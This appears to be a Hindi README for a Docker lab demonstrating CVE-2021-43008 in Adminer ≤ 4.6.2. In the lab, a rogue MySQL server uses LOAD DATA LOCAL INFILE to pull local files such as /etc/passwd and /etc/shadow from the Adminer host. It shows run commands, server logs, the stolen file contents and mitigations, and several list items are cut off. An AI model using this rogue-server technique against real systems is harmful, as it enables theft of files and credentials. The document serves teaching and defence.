
Adminer की CVE-2021-43008 भेद्यता के लिए प्रदर्शन वातावरण : वास्तविक प्रभाव का निरीक्षण करें और शमन उपायों का परीक्षण करें।
Adminer एक वेब टूल (PHP) है जो MySQL, PostgreSQL, SQLite या SQL Server डेटाबेस को आसानी से प्रबंधित करने की अनुमति देता है। इसे आमतौर पर phpMyAdmin के हल्के विकल्प के रूप में तैनात किया जाता है।
प्रभावित संस्करण: Adminer ≤ 4.6.2
Adminer किसी भी दूरस्थ MySQL सर्वर से कनेक्शन की अनुमति देता है। हालाँकि, MySQL सर्वर से कनेक्ट करते समय, क्लाइंट (यहाँ Adminer) स्वीकार करता है:
Adminer कमजोर संस्करणों में MySQL सर्वर प्रतिक्रियाओं को सही ढंग से मान्य नहीं करता।
परिणाम: हमलावर द्वारा नियंत्रित MySQL सर्वर अनुरोध कर सकता है:
"Adminer को होस्ट करने वाली मशीन या कंटेनर पर इस स्थानीय फ़ाइल को पढ़ें और इसे मुझे भेजें।"
यह तंत्र MySQL पैकेट से संबंधित है:
0xFB | filename → स्थानीय फ़ाइल पढ़ने को ट्रिगर करता है।
Adminer 4.6.2 एक उपयोगकर्ता को बाहरी MySQL सर्वर निर्दिष्ट करने और स्वतंत्र रूप से उससे कनेक्ट करने की अनुमति देता था। हालाँकि, MySQL डिफ़ॉल्ट रूप से इसके उपयोग की अनुमति देता था:
LOAD DATA LOCAL INFILEइसलिए: Adminer → दुर्भावनापूर्ण सर्वर से कनेक्ट होता है → दुर्भावनापूर्ण सर्वर एक फ़ाइल का अनुरोध करता है → Adminer इसे भेजता है।
यह भेद्यता का सार है।
हमलावर को चाहिए:
LOAD DATA LOCAL INFILE पैकेट वापस भेजता है।स्थानीय फ़ाइल को बाहर निकालने के लिए किसी रूट पासवर्ड की आवश्यकता नहीं है: Adminer लक्ष्य सर्वर पर PHP एप्लिकेशन के रूप में कार्य करता है।
हमलावर कर सकता है:
चुराए गए MySQL क्रेडेंशियल (द्वितीयक चरण) के साथ, वह बाद में कर सकता है:
PoC किसी भी जोखिम से बचने के लिए पृथक और कंटेनरीकृत वातावरण में किया जाता है।
localhost:8080 पर स्थानीय रूप से उजागर0xFB filename पैकेट भेजता है।adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
http://localhost:8080 में:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd' वापस भेजता है।/etc/passwd पढ़ता है।stolen_file.txt में संग्रहीत करता है।दुर्भावनापूर्ण सर्वर के लॉग देखने के लिए निम्न कमांड का उपयोग करें:
docker logs -f rogue_mysql
अपेक्षित परिणाम:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
stolen_file.txt फ़ाइल की सामग्री देखें:
docker exec -it rogue_mysql sh
कंटेनर के अंदर एक बार, आप stolen_file.txt सहित फ़ाइलों की सामग्री देख सकते हैं
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
परिणाम:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
यह परिणाम स्पष्ट रूप से भेद्यता को प्रदर्शित करता है।
सबसे विश्वसनीय समाधान: Adminer ≥ 4.6.3 पर जाएँ
बाद के संस्करण नेटवर्क व्यवहार को ठीक करते हैं।
Adminer 4.7.x से शुरू करके, कई सुरक्षाएँ शुरू की गई हैं:
Adminer अब डिफ़ॉल्ट रूप से LOAD DATA LOCAL INFILE को प्रतिबंधित करता है
अर्थात:
→ परिणाम: आपका दुर्भावनापूर्ण MySQL अब फ़ाइलें नहीं निकाल सकता।
Adminer सर्वर को भेजने से पहले क्लाइंट क्रियाओं को फ़िल्टर करता है
यह बाहरी कनेक्शन को खतरनाक कार्यों का उपयोग करने से रोकता है।
अतिरिक्त इनपुट सत्यापन तंत्र
नए संस्करण जाँचते हैं:
Adminer को केवल आंतरिक होस्ट तक सीमित करें:
उत्पादन में Adminer को हमेशा आंतरिक MySQL की ओर इंगित करना चाहिए।
LOCAL INFILE अक्षम करेंवैध MySQL क्लाइंट के माध्यम से चोरी को रोकता है:
[mysqld]
local_infile=0
या:
SET GLOBAL local_infile=0;
Adminer इंटरनेट पर सुलभ नहीं होना चाहिए।
उत्पादन में:
Adminer को अस्थायी उपकरण के रूप में देखा जाना चाहिए:
CVE-2021-43008 Adminer ≤ 4.6.2 में एक महत्वपूर्ण भेद्यता है जो अनुमति देती है:
यह निम्नलिखत के महत्व का एक आदर्श प्रदर्शन है: